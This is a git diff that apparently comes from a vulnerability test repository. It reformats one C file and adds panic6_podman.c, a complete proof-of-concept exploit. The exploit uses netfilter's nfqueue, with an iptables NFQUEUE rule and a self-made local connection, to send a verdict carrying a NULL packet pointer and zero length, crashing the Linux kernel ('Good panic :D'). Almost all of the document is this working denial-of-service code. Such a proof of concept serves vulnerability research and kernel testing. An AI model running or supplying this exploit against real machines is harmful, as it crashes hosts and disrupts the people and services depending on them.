-	if (mnl_socket_recvfrom(nl, buf, BUF_SIZE) == -1) {
-		perror( "mnl_socket_recvfrom" );
+	if (mnl_socket_recvfrom(nl, buf, BUF_SIZE) == -1)
+	{
+		perror("mnl_socket_recvfrom");
 		exit(EXIT_FAILURE);
 	}
 
-	puts("[*] Sending the verdict with a NULL pointer and len = 0");
+	puts("[*] Setting the verdict with a NULL pointer and len = 0");
 	nlh = nfq_nlmsg_put(buf, NFQNL_MSG_VERDICT, queue_num);
 	nfq_nlmsg_verdict_put_pkt(nlh, NULL, 0);
-	nfq_nlmsg_verdict_put(nlh, 1, NF_ACCEPT );
+	nfq_nlmsg_verdict_put(nlh, 1, NF_ACCEPT);
 
 	puts("[*] Sending the verdict to the kernel, Good panic :D");
-	sleep(1); //Only to see the print
-	if (mnl_socket_sendto(nl, nlh, nlh->nlmsg_len) < 0) {
-		perror( "mnl_socket_send" );
+	sleep(1); // Only to see the print
+	if (mnl_socket_sendto(nl, nlh, nlh->nlmsg_len) < 0)
+	{
+		perror("mnl_socket_send");
 		exit(EXIT_FAILURE);
 	}
-	puts("[*] Are you still alive?");
-
+	puts("[*] Are you still alive? Probably your kernel is not vulnerable :(");
+	return EXIT_SUCCESS;
 }
-
-
diff --git a/panic6_podman.c b/panic6_podman.c
@@ -0,0 +1,115 @@
+#include <arpa/inet.h>
+#include <linux/netfilter/nfnetlink_queue.h>
+#include <libnetfilter_queue/libnetfilter_queue.h>
+#include <linux/netfilter/nfnetlink_conntrack.h>
+#include <libmnl/libmnl.h>
+#include <linux/netfilter.h>
+#include <linux/netfilter/nfnetlink.h>
+#include <linux/types.h>
+#include <stdlib.h>
+#include <sys/socket.h>
+#include <string.h>
+
+// How to compile:
+// cc panic6.c -o nfpanic -lmnl -lnetfilter_queue && sudo setcap "CAP_NET_ADMIN+ep" ./nfpanic && ./nfpanic
+
+int socket_conn(uint16_t port)
+{
+	int sockfd, connfd;
+	struct sockaddr_in servaddr, cli;
+
+	// socket create and verification
+	sockfd = socket(AF_INET, SOCK_STREAM | SOCK_NONBLOCK, 0);
+	if (sockfd == -1)
+	{
+		perror("socket creation failed");
+		exit(EXIT_FAILURE);
+	}
+	bzero(&servaddr, sizeof(servaddr));
+
+	// assign IP, PORT
+	servaddr.sin_family = AF_INET;
+	servaddr.sin_addr.s_addr = inet_addr("127.0.0.1");
+	servaddr.sin_port = htons(port);
+
+	// connect the client socket to server socket
+	connect(sockfd, (struct sockaddr *)&servaddr, sizeof(servaddr));
+	return sockfd;
+}
+
+int main(int argc, char *argv[])
+{
+	size_t BUF_SIZE = 0xffff + (MNL_SOCKET_BUFFER_SIZE / 2);
+	char buf[BUF_SIZE];
+	uint16_t queue_num = 1337;
+	struct nlmsghdr *nlh;
+
+	puts("[*] Creating the socket with the kernel");
+	struct mnl_socket *nl = mnl_socket_open(NETLINK_NETFILTER);
+	if (nl == NULL)
+	{
+		perror("mnl_socket_open");
+		exit(EXIT_FAILURE);
+	}
+	puts("[*] Binding the socket");
+	if (mnl_socket_bind(nl, 0, MNL_SOCKET_AUTOPID) < 0)
+	{
+		perror("mnl_socket_bind");
+		exit(EXIT_FAILURE);
+	}
+
+	printf("[*] Sending the BIND command for the nfqueue %d\n", queue_num);
+	nlh = nfq_nlmsg_put(buf, NFQNL_MSG_CONFIG, queue_num);
+	nfq_nlmsg_cfg_put_cmd(nlh, AF_INET, NFQNL_CFG_CMD_BIND);
+	if (mnl_socket_sendto(nl, nlh, nlh->nlmsg_len) < 0)
+	{
+		perror("mnl_socket_send");
+		exit(EXIT_FAILURE);
+	}
+
+	puts("[*] Setting config to COPY_META mode");
+	nlh = nfq_nlmsg_put(buf, NFQNL_MSG_CONFIG, queue_num);
+	nfq_nlmsg_cfg_put_params(nlh, NFQNL_COPY_META, 0xffff);
+	mnl_attr_put_u32(nlh, NFQA_CFG_FLAGS, htonl(NFQA_CFG_F_GSO));
+	mnl_attr_put_u32(nlh, NFQA_CFG_MASK, htonl(NFQA_CFG_F_GSO));
+	if (mnl_socket_sendto(nl, nlh, nlh->nlmsg_len) < 0)
+	{
+		perror("mnl_socket_send");
+		exit(EXIT_FAILURE);
+	}
+
+	puts("[*] Linking the nfqueue to a real connection through iptables");
+	char cmd[200];
+	sprintf(cmd, "iptables -t mangle -A PREROUTING -j NFQUEUE -p tcp --dport 1337 --queue-num %d\n", queue_num);
+	if (system(cmd) != 0)
+	{
+		perror("system");
+		exit(EXIT_FAILURE);
+	}
+
+	puts("[*] Sending a connection packet to nfqueue");
+	socket_conn(1337);
+
+	puts("[*] Waiting for a packet in the nfqueue");
+	if (mnl_socket_recvfrom(nl, buf, BUF_SIZE) == -1)
+	{
+		perror("mnl_socket_recvfrom");
+		exit(EXIT_FAILURE);
+	}
+
+	puts("[*] Sending the verdict with a NULL pointer and len = 0");
+	nlh = nfq_nlmsg_put(buf, NFQNL_MSG_VERDICT, queue_num);
+	nfq_nlmsg_verdict_put_pkt(nlh, NULL, 0);
+	nfq_nlmsg_verdict_put(nlh, 1, NF_ACCEPT);
+
+	puts("[*] Sending the verdict to the kernel, Good panic :D");
+	sleep(1); // Only to see the print
+	if (mnl_socket_sendto(nl, nlh, nlh->nlmsg_len) < 0)
+	{
+		perror("mnl_socket_send");
+		exit(EXIT_FAILURE);
+	}
+
+	puts("[*] Are you still alive? Probably your kernel is not vulnerable :(");
+	return EXIT_SUCCESS;
+}